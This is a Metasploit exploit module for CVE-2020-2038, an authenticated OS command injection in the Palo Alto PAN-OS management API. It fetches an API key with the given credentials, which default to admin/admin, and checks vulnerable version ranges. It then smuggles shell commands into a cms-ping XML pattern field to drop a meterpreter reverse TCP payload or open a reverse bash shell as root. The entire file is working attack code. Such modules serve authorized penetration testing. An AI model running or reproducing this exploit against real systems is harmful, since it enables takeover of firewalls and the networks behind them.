##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  require 'ipaddr'

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks Authenticated Remote Code Execution',
        'Description' => %q{
          An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
          administrators to execute arbitrary OS commands with root privileges.
          This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Vulnerability discovery
          'Nikita Abramov', # Vulnerability discovery
          'UnD3sc0n0c1d0', # Exploit
          'jheysel-r7' # msf module
        ],
        'References' => [
          ['CVE', '2020-2038'],
          ['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'],
          ['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'],
          ['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit
        ],
        'DisclosureDate' => '2020-09-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => true,
        'Targets' => [
          [
            'Linux ',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => %i[echo printf],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for username', 'admin'])
      ]
    )
  end

  def check
    print_status('Authenticating...')
    begin
      @api_key = api_key
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}")
    end
    res = send_request_cgi({
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'version',
        'key' => @api_key
      }
    })

    return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body

    version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)

    if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') ||
       version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') ||
       version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def api_key
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'type' => 'keygen',
        'user' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res.nil?
      raise InvalidRequest, 'Unreachable'
    end

    if res.code == 401
      raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed'
    end

    if res.code == 403
      raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"'
    end

    if res.body.blank?
      raise InvalidResponse, 'Empty reply from server'
    end

    key = res.get_xml_document.xpath('/response/result/key')&.text

    if key.nil?
      raise InvalidResponse, 'Empty reply from server'
    end

    print_good('Successfully obtained api key')

    key
  end

  def execute_command(cmd, _opts = {})
    payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>"
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/'),
      'vars_get' => {
        'cmd' => payload,
        'type' => 'op',
        'key' => @api_key
      }
    })
  end

  def exploit
    begin
      @api_key ||= api_key
    rescue InvalidRequest, InvalidResponse => e
      fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}")
    end
    print_status('Exploiting...')
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end
